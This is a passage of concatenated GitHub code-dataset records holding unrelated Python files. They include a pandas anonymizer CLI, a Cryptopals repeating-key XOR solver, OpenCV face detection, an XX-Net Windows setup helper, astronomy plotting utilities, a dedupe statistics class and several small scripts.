parser.add_argument('-s', '--seed', help='Faker seed (use an integer to get same results)', default=None)\n args = parser.parse_args()\n\n short_file_name, file_extension = os.path.splitext(args.input)\n file_extension = file_extension.lower()\n allowed_file_extension = ['.xls', '.xlsx', '.csv']\n if file_extension in ['.xls', '.xlsx']:\n df = pd.read_excel(args.input)\n elif file_extension in ['.csv']:\n df = pd.read_csv(args.input)\n else:\n raise(NotImplementedError(\"Unsupported input file extension '%s' - it must be in %s\" % (filext, allowed_fileext)))\n\n print(\"Original data:\")\n print(df)\n\n anonymizer = Anonymizer(args.locale)\n anonymizer.seed(args.seed)\n df_anon = anonymizer.anonymize(df)\n\n print(\"\")\n\n print(\"Anonymized data:\")\n print(df_anon)\n\n if args.output == '':\n filename_out = short_file_name + '_anon' + file_extension\n else:\n filename_out = args.output\n short_file_name_out, file_extension_out = os.path.splitext(args.output)\n\n if file_extension in ['.xls', '.xlsx']:\n df_anon.to_excel(filename_out)\n elif file_extension in ['.csv']:\n df_anon.to_csv(filename_out, index=False)\n else:\n raise(NotImplementedError(\"Unsupported output file extension '%s' - it must be in %s\" % (filext, allowed_fileext)))\n \n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n main()\n","repo_name":"scls19fr/pandas-anonymizer","sub_path":"pandas_anonymizer/cli/anonymizer.py","file_name":"anonymizer.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"99"} +{"seq_id":"72608540165","text":"import sys ; sys.path += ['.', '../..']\nfrom SharedCode import Function\nimport re\n\n\n\"\"\"\n>>> Break repeating-key XOR\n\"\"\"\n\nKEY_SIZE_RANGE = range(1, 30)\n\ndef task6():\n DATA=Function.File.loadData(__file__)\n\n keys = []\n\n # Ranks the most likely key length\n key_size_and_hamming=rank_possible_key_length(DATA)\n\n for key_pair in key_size_and_hamming:\n possible_key_size=key_pair[0]\n\n # Breaks the cipher into key size blocks\n data_chunks=Function.Encryption.splitBase64IntoBlocks(DATA, possible_key_size)\n\n # Transposes all the bytes of the chunks\n transpose_chunks=transpose_bytes(data_chunks)\n\n disovered_key=[]\n\n # Loops round each key as a key\n for transpose_byte in transpose_chunks:\n disovered_key.append(breakSingleKey(transpose_byte))\n\n keys.append(\"\".join(disovered_key))\n\n\n dataHex = Function.Base64_To.hexadecimal(DATA)\n dataHex = Function.Conversion.remove_byte_notation(dataHex)\n\n # score, key, text\n best = (None, None, None)\n\n # Use keys to fully decrypt\n for key in keys:\n keyHex = Function.UTF8.hexadecimal(key)\n keyHex = Function.Conversion.remove_byte_notation(keyHex)\n\n fullLengthKey = Function.Encryption.Vigenere.gen_key(dataHex, keyHex)\n\n xor = Function.XOR.hexXor(dataHex, fullLengthKey)\n\n text = Function.HexTo.utf8(xor)\n\n score = Function.Statistical.score_distribution(text)\n\n if best[0] is None or score < best[0]:\n best = (score, key, text)\n\n return str(best[1])\n\ndef breakSingleKey(transpose_byte):\n\n bestScore = None\n bestKey = \"\"\n\n # Works through all possible keys\n for key in range(0, 255):\n\n # XORs the key attempt with the transposed byte\n key_attempt = format(key, '#04x')[2:] * round(len(transpose_byte) / 2)\n\n xor = Function.XOR.hexXor(transpose_byte, key_attempt)\n\n # Attempts a conversion to ascii, if that fails the key will be ignored\n try:\n output = Function.HexTo.utf8(xor)\n \n score = Function.Statistical.score_distribution(output)\n \n if bestScore is None or bestScore > score:\n bestScore = score\n bestKey = chr(key)\n\n except UnicodeDecodeError:\n pass\n \n return bestKey\n\ndef rank_possible_key_length(data):\n key_size_and_hamming=[]\n\n # Splits data into chunk sizes\n # And works out the possible key size\n for key_size in KEY_SIZE_RANGE:\n # BASE64 -> HEX conversion going on below\n key_chunks=Function.Encryption.splitBase64IntoBlocks(data, key_size)\n\n hamming_dist_normalised=(calculate_hamming_distance(\n key_chunks[0], key_chunks[1])) / key_size\n key_size_and_hamming.append([key_size, hamming_dist_normalised])\n key_size_and_hamming.sort(key=lambda x: x[1])\n\n return key_size_and_hamming\n\ndef calculate_hamming_distance(string1, string2):\n\n hexString1 = Function.Base64_To.hexadecimal(string1)\n hexString2 = Function.Base64_To.hexadecimal(string2)\n\n # Convert the strings to binary\n binary1 = Function.HexTo.binary(int(hexString1, 16))\n binary2 = Function.HexTo.binary(int(hexString2, 16))\n\n binary1, binary2 = Function.makeBinaryEqualLength(binary1, binary2)\n\n # Compares each binary value 1 for 1\n count=0\n for index, bVal in enumerate(binary1):\n if bVal != binary2[index]:\n count += 1\n\n return count\n\ndef transpose_bytes(data_chunks):\n\n # Converts to hex for easer manipulation\n data_chunks = list(map(Function.Base64_To.hexadecimal, data_chunks))\n\n chunkLen=round(len(data_chunks[0]) / 2)\n\n transposed=[]\n\n # A new byte value will be created from the 1st of all\n # byte values, the 2nd and so on\n for pos in range(chunkLen):\n\n byteString=\"\"\n\n for chunk in data_chunks:\n each_hex_byte=re.findall(\"..\", Function.Conversion.remove_byte_notation(chunk))\n byteString += each_hex_byte[pos]\n\n transposed.append(byteString)\n\n return transposed\n\n\nif __name__ == \"__main__\":\n x = task6()\n print(x)\n","repo_name":"AidanFray/Cryptopals_Crypto_Challenges","sub_path":"Set1/Challenge6/Challenge6.py","file_name":"Challenge6.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"99"} +{"seq_id":"35788494366","text":"from __future__ import (\n absolute_import, division, print_function, with_statement,\n)\n\nimport argparse, functools, inspect\nfrom collections import ChainMap\n\nfrom .util import PY3\n\n_default_used_short = {'h': True}\n\n_command_counter = 0\n\ndef run(main):\n main()\n\nclass Command(object):\n def __init__(self, superparser=None, used_short=None):\n global _command_counter\n _command_counter += 1\n\n name = self.__class__.__name__\n desc = inspect.getdoc(self)\n aliases = getattr(self, '__alias__', None)\n if superparser is not None:\n if PY3:\n parser = superparser.add_parser(name, description=desc, aliases=aliases)\n else:\n parser = superparser.add_parser(name, description=desc)\n else:\n parser = argparse.ArgumentParser(description=desc)\n\n used_short = ChainMap({}, used_short or _default_used_short)\n\n self._key = '__subcommand_' + str(_command_counter)\n subparser = parser.add_subparsers(dest=self._key)\n try:\n # Bug in Python 3 makes subparsers optional\n subparser.required = True\n except:\n pass\n\n self._handlers = {}\n for attr in sorted(dir(self)):\n if attr.startswith('_'):\n continue\n val = getattr(self, attr)\n if val:\n handler = val(subparser, used_short)\n self._handlers[attr] = handler\n for alias in getattr(val, '__alias__', ()):\n self._handlers[alias] = handler\n\n if superparser is None:\n self(parser.parse_args())\n\n def __call__(self, parsed_args):\n subcommand = getattr(parsed_args, self._key)\n self._handlers[subcommand](parsed_args)\n\ndef alias(*aliases):\n def add_aliases(cmd):\n existing = getattr(cmd, '__alias__', ())\n cmd.__alias__ = tuple(existing) + tuple(a for alias in aliases for a in alias.split() if a)\n return cmd\n return add_aliases\n\ndef command_alias(*aliases):\n def aliased_command(fn):\n return alias(*aliases)(command(fn))\n return aliased_command\n\ndef command(fn):\n if PY3:\n spec = inspect.getfullargspec(fn)\n kwonly, kwdefault = spec.kwonlyargs or [], spec.kwonlydefaults or {}\n else:\n spec = inspect.getargspec(fn)\n kwonly, kwdefault = [], {}\n\n args, defaults = spec.args or [], spec.defaults or []\n\n n_without_defaults = len(args) - len(defaults)\n without_defaults, with_defaults = args[:n_without_defaults], args[n_without_defaults:]\n\n name = fn.__name__\n desc = inspect.getdoc(fn)\n\n @functools.wraps(fn)\n def wrapper(self=None, superparser=None, used_short=None):\n aliases = getattr(wrapper, '__alias__', ())\n if superparser is not None:\n if PY3:\n parser = superparser.add_parser(name, description=desc, aliases=aliases)\n else:\n parser = superparser.add_parser(name, description=desc)\n else:\n parser = argparse.ArgumentParser(description=desc)\n\n used_short = ChainMap({}, used_short or _default_used_short)\n\n def shorten(arg):\n for char in (arg[0].lower(), arg[0].upper()):\n if char not in used_short:\n used_short[char] = True\n return char\n return None\n\n for arg in without_defaults:\n parser.add_argument(arg)\n\n if spec.varargs:\n parser.add_argument(spec.varargs, nargs='*')\n\n def add_arg_with_default(arg, default):\n variants = ['--{}'.format(arg)]\n short = shorten(arg)\n if short is not None:\n variants.insert(0, '-{}'.format(short))\n\n if isinstance(default, bool):\n no_variant = '--no-{}'.format(arg)\n help_message = 'default: yes' if default else 'default: no'\n\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n *variants, dest=arg, action='store_const', const=True, default=default,\n help=help_message\n )\n group.add_argument(\n no_variant, dest=arg, action='store_const', const=False, default=default\n )\n elif isinstance(default, int):\n parser.add_argument(\n *variants, type=int, default=default,\n help='default: {!r}'.format(default)\n )\n elif isinstance(default, float):\n parser.add_argument(\n *variants, type=float, default=default,\n help='default: {!r}'.format(default)\n )\n elif not default:\n parser.add_argument(*variants, default=default)\n else:\n parser.add_argument(\n *variants, default=default,\n help='default: {!r}'.format(default)\n )\n\n for (arg, default) in zip(with_defaults, defaults):\n add_arg_with_default(arg, default)\n\n for kw in kwonly:\n add_arg_with_default(kw, kwdefault[kw])\n\n def run(parsed_args):\n positional = []\n for arg in args:\n positional.append(getattr(parsed_args, arg))\n if spec.varargs:\n positional.extend(getattr(parsed_args, spec.varargs) or ())\n\n keyword = {}\n for arg in kwonly:\n keyword[arg] = getattr(parsed_args, arg)\n\n fn(*positional, **keyword)\n\n if superparser is None:\n run(parser.parse_args())\n else:\n return run\n\n return wrapper\n","repo_name":"matthewvalentine/pyscription","sub_path":"pyscription/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":5760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"30767859463","text":"import cv2\nimport numpy as np\n\ndetect = cv2.CascadeClassifier('./venv/lib/site-packages/cv2/data/haarcascade_frontalface_default.xml')\ncam = cv2.VideoCapture(0)\n\nwhile True:\n check, img = cam.read()\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n faces = detect.detectMultiScale(gray, 1.25, 5)\n\n for x,y,w,h in faces:\n img = cv2.rectangle(img, (x,y), (x+w, y+h), (0,255,0), 2)\n\n\n cv2.imshow(\"ABC\", img)\n if(cv2.waitKey(1) == ord('q')):\n break\n\n\ncam.release()\ncv2.destroyAllWindows()\n","repo_name":"lakshyajit165/python_opencv","sub_path":"face_Detection_video.py","file_name":"face_Detection_video.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"74485071366","text":"import sys\r\nfrom math import inf\r\nn, m, r = map(int, sys.stdin.readline().split())\r\nitem_counts = list(map(int, sys.stdin.readline().split()))\r\nanswer = 0\r\n\r\nadj_board = [[inf for j in range(n)] for i in range(n)]\r\nfor i in range(n):\r\n adj_board[i][i] = 0\r\n\r\nfor _ in range(r):\r\n a, b, l = map(int, sys.stdin.readline().split())\r\n a -= 1\r\n b -= 1\r\n adj_board[a][b] = l\r\n adj_board[b][a] = l\r\n\r\nfor k in range(n):\r\n for i in range(n):\r\n for j in range(n):\r\n adj_board[i][j] = min(adj_board[i][j], adj_board[i][k] + adj_board[k][j])\r\n\r\nfor i in range(n):\r\n item_cnt = 0\r\n for j in range(n):\r\n if adj_board[i][j] <= m:\r\n item_cnt += item_counts[j]\r\n answer = max(answer, item_cnt)\r\nprint(answer)","repo_name":"KangNyeonKim/BaekJoon_Python","sub_path":"백준/Gold/14938. 서강그라운드/서강그라운드.py","file_name":"서강그라운드.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"31769284667","text":"import os\nimport platform\nimport shutil\nimport sys\nimport time\n\nfrom xlog import getLogger\nxlog = getLogger(\"launcher\")\n\ncurrent_path = os.path.dirname(os.path.abspath(__file__))\npython_path = os.path.abspath(os.path.join(current_path, os.pardir, 'python27', '1.0'))\n\n\ndef copy_VCR_files():\n src_path = os.path.join(python_path, \"WinSxS\")\n win_path = os.environ['WINDIR']\n win_dst_path = os.path.join(win_path, \"WinSxS\")\n\n for path, dirs, files in os.walk(src_path):\n for file in files:\n sep_path = path.split(os.path.sep)\n home_path_depth = len(python_path.split(os.path.sep))\n relate_path = os.path.sep.join(sep_path[home_path_depth + 1:])\n # print(relate_path)\n dest_path = os.path.join(win_dst_path, relate_path)\n if not os.path.isdir(dest_path):\n xlog.info(\"setup win python, mkdir:%s\", dest_path)\n os.mkdir(dest_path)\n # print(\"root:\", path)\n # print(\"file:\", file)\n src_path = os.path.join(path, file)\n target_file = os.path.join(dest_path, file)\n if not os.path.isfile(target_file):\n xlog.info(\"setup win python, copy:%s %s\", src_path, target_file)\n shutil.copyfile(src_path, target_file)\n\n\ndef is_winxp():\n if sys.platform != \"win32\":\n return False\n if platform.release() != \"XP\":\n return False\n return True\n\ndef check_setup(): # 40ms\n if is_winxp():\n try:\n copy_VCR_files()\n except Exception as e:\n xlog.exception(\"setup win python except:%s\", e)\n\ndef smart_check(): # 400 ms\n import config\n # config.load()\n if current_path != config.get([\"update\", \"last_path\"]):\n check_setup()\n\n\nif __name__ == \"__main__\":\n t1 = time.time()\n check_setup()\n t2 = time.time()\n t_c = (t2 - t1) * 1000\n print(\"cost time:\", t_c)\n","repo_name":"killgcd/chromego","sub_path":"ChromeGo/XX-Net/code/default/launcher/setup_win_python.py","file_name":"setup_win_python.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","stars":1976,"dataset":"github-code","pt":"99"} +{"seq_id":"23220219878","text":"import random\nrock = '''\n _______\n---' ____)\n (_____)\n (_____)\n (____)\n---.__(___)\n'''\n\npaper = '''\n _______\n---' ____)____\n ______)\n _______)\n _______)\n---.__________)\n'''\n\nscissors = '''\n _______\n---' ____)____\n ______)\n __________)\n (____)\n---.__(___)\n'''\n\ngame_image = [rock,paper,scissors]\nchoice = int(input(\"what do you chose,0 for rock, 1 for paper or 2 for scissors: \"))\nif choice >= 3 or choice < 0:\n print(\"your number is invalid, you loose\")\nelse:\n print(game_image[choice])\n # user_pick =[\"rock\",\"paper\",\"scissors\"]\n computer_choice=random.randint(0,2)\n print (\"computer choose:\")\n print(game_image[computer_choice])\n \n print(f\"\\nYou chose {choice}, computer chose {computer_choice}.\\n\")\n \n if choice == computer_choice:\n print(f\"Both players selected {choice}. It's a tie!\")\n elif choice == 0:\n if computer_choice == 2:\n print(\"Rock smashes scissors! You win!\")\n else:\n print(\"Paper covers rock! You lose.\")\n elif choice == 1:\n if computer_choice == 0:\n print(\"Paper covers rock! You win!\")\n else:\n print(\"Scissors cuts paper! You lose.\")\n elif choice == 2:\n if computer_choice == 1:\n print(\"Scissors cuts paper! You win!\")\n else:\n print(\"Rock smashes scissors! You lose.\")\n","repo_name":"jasuquo/Pythonfiles","sub_path":"rockpaperscissorsgame.py","file_name":"rockpaperscissorsgame.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"17305455874","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 3 18:06:49 2021\n\n@author: dgiron\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom subprocess import check_call, STDOUT\nimport shutil, shlex\n\ndef run_comm(comm, msg=\"\"):\n \"\"\"\n Run a command in the shell\n\n Parameters\n ----------\n comm : str\n string containing the command to be executed.\n \n msg : str\n message to be displayed below the executed cell.\n\n \"\"\"\n print(msg)\n print(comm)\n try:\n args = shlex.split(comm)\n check_call(args, stderr=STDOUT)\n except Exception as mess:\n print(mess)\n raise\n \n\ndef draw_second_axis(fig, axs, sq_downleft, sq_upright, ln, mov_ra=0, mov_dec=0, lon_lines=15, num_lines=10, mov_x_text=(0, 0), mov_y_text=(0, 0), xlabel='RA', ylabel='Dec', \n num_axis=0, dist_txt=10, zero_between=False, display_format='.2f'):\n \"\"\"\n Paints a second axis on the plot for the right ascension (x-axis) and the declination (y-axis). It is prepared to paint with the RA incresing either to the left\n or right (and the same for the Dec). It is also prepared to work with RA increasing from 0 to 360, so it works even if 360 is reached before the end of the \n plot. The Dec is given in a -180º to 180º scale. The functions paints values equally separated, with the number of those given by the user. IMPORTANT: the function only works with \n axis and fig objects which are given to the function as parameters after being created. Sintax of the type plt.plot, plt.xlabel ... is not allowed\n\n Parameters\n ----------\n fig: object \n figure object. Usual sintax: fig, _axs = plt.subplots(1, 1)\n axs: object\n axis object where the secondary axis wants to be plotted. IF THE AXIS OBJECT ONLY HAVES ONE ELEMENT IT SHOULD BE GIVEN IN THE FOLLOWING WAY (inside a one element \n list and with the parameter num_axis=0): axs = [_axs]. \n sq_downleft : tuple or list\n vector containing the coordinates of the down left square of the plot in the form: (RA, Dec).\n sq_upright : tuple or list\n vector containing the coordinates of the up right square of the plot in the form: (RA, Dec).\n ln : int\n length of the x-axis (should be equal to the y-axis one) i.e. number of p\\'ixels in one line'.\n mov_ra : float, optional\n moves the RA coordinates to the right (lower values, even negatives) or left (higher values). Values between [-10, 20] are probably needed, though any value out of the interval\n can be used. The default is 0.\n mov_dec : float, optional\n moves the Dec coordinates up (lower values, even negatives) or down (higher values). Values between [-5, 10] are probably needed, though any value out of the interval\n can be used. The default is 0.\n lon_lines : float, optional\n length of the transversal lines of the x-axis and y-axis (around 15 for regular plots). The default is 15.\n num_lines : int, optional\n number of equal intervals in which the axis is divided. The default is 10.\n mov_x_text : tuple or list, optional \n allows to move the x-axis label in the case it is not visible cause of the axis. The form should be [x, y], being x movement along the x-axis and same for y.\n Lower values in the x and y coordinates move the label to the down left square. The default is (0, 0).\n mov_y_text : tuple or list, optional\n allows to move the y-axis label in the case it is not visible cause of the axis. The form should be [x, y], being x movement along the x-axis and same for y.\n Lower values in the x and y coordinates move the label to the down left square. The default is (0, 0).\n xlabel : str, optional\n string containing the label of the secondary x-axis. It is compatible with latex characters using the following form: r'$latex characters$ non-latex characters'. The default is 'RA'.\n ylabel : str, optional\n string containing the label of the secondary x-axis. It is compatible with latex characters using the following form: r'$latex characters$ non-latex characters'. The default is 'Dec'.\n num_axis : int, optional\n number of the axis element. Allows to select which subplot of the axs object is required to have a secondary axis. The default is 0.\n dist_txt : float, optional\n moves the numbers in both axis away from the plot (larger values) or closer (lower values). The default is 10.\n zero_between : bool, optional\n True if the RA passes through 0º before the end of the axis. False if not. The default is False.\n display_format: str, optional\n format of the values of the second axis. Double dots should not be given as they are also included in the function. The default is '.2f'.\n\n Returns\n -------\n None.\n\n \"\"\"\n m = 1\n m2 = 1\n \n # If zero is between, the calculation of the step needs an adition of 360 to the lower value which can be either the left one or the right one (works with RA increasing or decreasing \n # to the right). This is corrected via the m and m2 variables (whether the step is added or substracted from the initial value) \n \n \n if zero_between:\n if (sq_downleft[0] > sq_upright[0]):\n aux = np.array([sq_upright[0] + 360, sq_upright[1]])\n a = np.abs((sq_downleft - aux) / ln)\n \n elif (sq_upright[0] > sq_downleft[0]):\n aux = np.array([sq_downleft[0] + 360, sq_downleft[1]])\n m = -1\n a = np.abs((aux - sq_upright) / ln)\n else:\n a = np.abs((sq_downleft - sq_upright) / ln)\n if sq_downleft[0] > sq_upright[0]:\n m = -1\n \n if sq_downleft[1] > sq_upright[1]:\n m2 = -1\n h = ln / num_lines\n \n for i in range(num_lines+1):\n aux = m * a[0] * h * i + sq_downleft[0] # Saves the new x-value to be plotted. Increases the same step every loop\n if aux >= 360:\n aux = aux - 360\n if aux < 0:\n aux = aux + 360\n axs[num_axis].plot([h * i, h * i], [ln - lon_lines, ln], 'k-', linewidth=4.0) # Plot the x-bars\n axs[num_axis].text(h * i - mov_ra, ln + dist_txt, f'{aux:{display_format}}') # Plot the values of the x-axis\n\n aux2 = m2 * i * a[1] * h + sq_downleft[1] # Saves the new x-value to be plotted. Increases the same step every loop\n \n axs[num_axis].plot([ln - lon_lines, ln], [h * i, h * i], 'k-', linewidth=4.0) # Plot the y-bars\n axs[num_axis].text(ln + dist_txt, h * i - mov_dec, f'{aux2:{display_format}}') # Plot the y-values\n \n # Plot both labels \n axs[num_axis].text(ln / 2 + mov_x_text[0], ln + mov_x_text[1], xlabel) \n axs[num_axis].text(ln + mov_y_text[0], ln / 2 + mov_y_text[1], ylabel)\n \n \ndef get_zoom_coord(sq_dwl, sq_upr, ln, x, y, zero_between=False):\n \"\"\" \n Returns the coordinates (RA, Dec) of the down left square and the up right one\n of a zoomed area, delimited by pixel numbers given as parameters.\n Parameters\n ----------\n sq_dwl : tuple or list\n vector containing the coordinates of the down left square of the plot in the form: (RA, Dec).\n sq_upr : tuple or list\n vector containing the coordinates of the up right square of the plot in the form: (RA, Dec).\n ln: int\n number of pixels in one line in the original plot. IMPORTANT: Not to be confused with the zoomed plot length\n x : tuple or list\n contains the x-interval that wants to be zoomed. For example, [700, 900] for the pixels between 700 and 900 (in the x-axis).\n y : tuple or list\n contains the y-interval that wants to be zoomed. For example, [700, 900] for the pixels between 700 and 900 (in the y-axis).\n zero_between : bool, optional\n True if the RA passes through 0º before the end of the axis. False if not. The default is False.\n\n Returns\n -------\n sq1 : tuple\n coordinates of the down left square. Format: (x(RA), y(Dec)) .\n sq2 : tuple\n coordinates of the up right square. Format: (x(RA), y(Dec)) .\n\n \"\"\"\n m = 1\n m2 = 1\n # If zero is between, the calculation of the step needs an adition of 360 to the lower value which can be either the left one or the right one (works with RA increasing or decreasing \n # to the right). This is corrected via the m and m2 variables (whether the step is added or substracted from the initial value) \n if zero_between:\n if (sq_upr[0] > sq_dwl[0]):\n m = -1\n aux = sq_dwl[0] + 360\n a = np.array([aux, sq_dwl[1]])\n step = (a - sq_upr)/ln\n \n elif (sq_upr[0] < sq_dwl[0]):\n aux = sq_upr[0] + 360\n a = np.array([aux, sq_upr[1]])\n step = (sq_dwl - a)/ln\n\n else:\n step = (sq_dwl - sq_upr)/ln\n if sq_dwl[0] > sq_upr[0]:\n m = -1 \n if sq_dwl[1] > sq_upr[1]:\n m2 = -1\n sq1 = np.array((m * step[0] * x[0] + sq_dwl[0], m2 * step[1] * y[1] + sq_upr[1]))\n sq2 = np.array((m * step[0] * x[1] + sq_dwl[0], m2 * step[1] * y[0] + sq_upr[1]))\n # If there is any value higher than 360 is corrected (or lower than zero)\n if sq1[0] > 360:\n sq1[0] = sq1[0] - 360\n if sq1[0] < 0:\n sq1[0] = sq1[0] + 360\n if sq2[0] < 0:\n sq2[0] = sq2[0] + 360\n if sq2[0] > 360:\n sq2[0] = sq2[0] - 360\n return sq1, sq2\n\n\n \ndef img_subplot(fig, axs, a, b, route='./'):\n \"\"\"\n Saves only one subplot from a plt.subplots object\n\n Parameters\n ----------\n fig : object\n figure object.\n axs : object\n axis object.\n a : float\n increase the area (vertical) to let the label in (values like 1.1, 1.2...).\n b : float\n increase the area (horizontal) to let the label in (values like 1.1, 1.2...).\n route : sre, optional\n route to the directory where the image is going to be saved. The default is './'.\n\n Returns\n -------\n None.\n\n \"\"\"\n extent = axs.get_window_extent().transformed(fig.dpi_scale_trans.inverted())\n fig.savefig(route, bbox_inches=extent.expanded(a, b), dpi=720)\n ","repo_name":"duvidG/practica_sixte","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":10175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"31634633955","text":"import pandas as pd\nfrom app.databases.registry.registry_selector import get_registry\nfrom app.exceptions import NoTextAttributes\nfrom app.recommenders.algorithms.similar_services_retrieval.preprocessor.embeddings.text_embeddings import (\n ServiceText, get_sbert_embeddings, get_text_embeddings)\nfrom app.recommenders.algorithms.similar_services_retrieval.preprocessor.similarities.text_similarities import \\\n TextSimilaritiesManager\nfrom app.settings import APP_SETTINGS\n\n\ndef filter_by_status(db, services):\n # Get non-published services\n non_published_services = db.get_non_published_services(list(services.index))\n\n # Get the indexes of viewing, purchased and non-published services\n indexes_to_drop = list(non_published_services)\n\n return services.drop(index=indexes_to_drop)\n\n\ndef get_similar_services(description_embedding):\n if len(APP_SETTINGS['BACKEND']['SIMILAR_SERVICES']['TEXT_ATTRIBUTES']) == 0:\n raise NoTextAttributes(f\"FATAL: Project assistant cannot run with empty attributes in the config.\")\n\n existing_text_embeddings = get_text_embeddings()\n\n similarity_with_services = TextSimilaritiesManager().calculate_similarities_of_service(\n description_embedding, existing_text_embeddings\n )\n similarity_with_services_df = pd.DataFrame(\n similarity_with_services, columns=[\"similarity\"],\n index=[ind for ind, _ in existing_text_embeddings]\n )\n\n similarity_threshold = APP_SETTINGS[\"BACKEND\"][\"PROJECT_ASSISTANT\"][\"SIMILARITY_THRESHOLD\"]\n\n similar_services = similarity_with_services_df[similarity_with_services_df[\"similarity\"] >= similarity_threshold]\n\n return similar_services\n\n\ndef project_assistant_recommendation(prompt, max_num):\n \"\"\"\n Returns a list of recommended services and their score\n Args:\n prompt: str, The prompt provided for the new service of the project\n max_num: int, The maximum number of recommendations we want returned\n \"\"\"\n\n # Calculate the text embeddings per sentence of the given description\n description_embedding = get_sbert_embeddings(ServiceText(service_texts={\"prompt\": prompt}))\n\n # Get similar services ids\n similar_services = get_similar_services(description_embedding)\n\n # Filter similar services based on status\n db = get_registry()\n similar_services = filter_by_status(db, similar_services)\n\n # Order similar services\n similar_services = similar_services.sort_values(by=[\"similarity\"], ascending=False)\n\n return [{\"service_id\": service_id, \"score\": score[\"similarity\"]} for service_id, score in\n similar_services[:max_num].iterrows()]\n","repo_name":"athenarc/EOSCF-Autocompletion","sub_path":"app/recommenders/project_assistant/recommendation_generation.py","file_name":"recommendation_generation.py","file_ext":"py","file_size_in_byte":2629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"13149147638","text":"from utils import getConst\nimport os\nimport threading\nimport time\n\nlogRootPath = getConst.ConstManager().getlogRootPath()\n\nclass LogThread(threading.Thread):\n def __init__(self, ipName):\n threading.Thread.__init__(self)\n self.ipName = ipName\n self.tarPath = os.path.join(logRootPath,self.ipName)\n self.response = {}\n\n # read log file in the child thread\n def run(self):\n log_list = os.listdir(self.tarPath)\n if(len(log_list)!=0):\n for fileName in log_list:\n if fileName not in self.response:\n with open(os.path.join(self.tarPath,fileName),'r') as file:\n content = file.read()\n self.response[fileName] = content\n\n def join(self):\n threading.Thread.join(self)\n return self.response\n","repo_name":"acse-tl221/IRPWebApp","sub_path":"model/ReadLog.py","file_name":"ReadLog.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"10124089377","text":"from datetime import datetime\nimport sys\n\n\nclass DedupeSummary(object):\n def __init__(self):\n self.total_chunk = 0\n self.dupe_chunk = 0\n self.total_size = 0\n self.dupe_size = 0\n self.total_download = 0\n self.total_download_chunk = 0\n self.chunk_time = 0\n self.hash_time = 0\n self.fp_lookup_time = 0\n self.store_time = 0\n self.dc_num = 0\n self.compression_time = 0\n self.decompression_time = 0\n self.hit_uncompressed = 0\n self.hit_compressed = 0\n self.get = 0\n self.get_chunk_time = 0\n self.get_recipe_time = 0\n self.get_cid_time = 0\n self.container_pickle_dumps_time = 0\n self.container_pickle_loads_time = 0\n self.pre_cache_hit = 0\n self.post_cache_hit = 0\n self.disk_hit = 0\n self.read_disk_num = 0\n self.read_disk_time = 0\n self.write_disk_num = 0\n self.write_disk_time = 0\n self.lazy_calback_time = 0\n self.retrieve_time = 0\n\n def get_info(self):\n self.total_download_chunk = self.get\n info = ['total size: %d' % self.total_size,\n 'total chunk: %d' % self.total_chunk,\n 'duplicate size: %d' % self.dupe_size,\n 'duplicate chunk: %d' % self.dupe_chunk,\n 'total download size: %d' % self.total_download,\n 'total download chunk: %d' % self.total_download_chunk,\n 'chunking time: %f seconds' % self.chunk_time,\n 'hashing time: %f seconds' % self.hash_time,\n 'fingerprint lookup time: %f seconds' % self.fp_lookup_time,\n 'store time: %f seconds' % self.store_time,\n 'deduplication container num: %d' % self.dc_num,\n 'compression time: %f seconds' % self.compression_time,\n 'decompression time: %f seconds' % self.decompression_time,\n 'get num: %d' % self.get,\n 'hit uncompressed num: %d' % self.hit_uncompressed,\n 'hit compressed num: %d' % self.hit_compressed,\n 'get chunk time: %f' % self.get_chunk_time,\n 'get recipe time: %f' % self.get_recipe_time,\n 'get chunk container id time: %f' % self.get_cid_time,\n 'container pickle dumps time: %f' % self.container_pickle_dumps_time,\n 'container pickle loads time: %f' % self.container_pickle_loads_time,\n 'pre cache hit num: %d' % self.pre_cache_hit,\n 'post cache hit num: %d' % self.post_cache_hit,\n 'disk hit num: %d' % self.disk_hit,\n 'write disk num: %d' % self.write_disk_num,\n 'write disk time: %f' % self.write_disk_time,\n 'read disk num: %d' % self.read_disk_num,\n 'read disk time: %f' % self.read_disk_time,\n 'lazy callback time: %f' % self.lazy_calback_time,\n 'retrieve container time: %f' % self.retrieve_time]\n return info\n","repo_name":"mjwtom/swift","sub_path":"swift/dedupe/summary.py","file_name":"summary.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"99"} +{"seq_id":"29610104990","text":"# -*- coding: utf-8 -*-\n\n\nfrom .import_macros import import_sys\nfrom .client import HubClient\nfrom .environment import Environment\n\ndef main():\n\n sys = import_sys()\n\n if len(sys.argv) >= 2:\n client = HubClient(server=sys.argv[-1])\n else:\n print(\"Assuming http://localhost:8080, add the base URL as a single argument for a different hub.\")\n client = HubClient() # Will default to localhost on 8080\n\n\n env = Environment()\n resp = client.send(env)\n\n print(resp)\n\nif __name__ == '__main__':\n\n 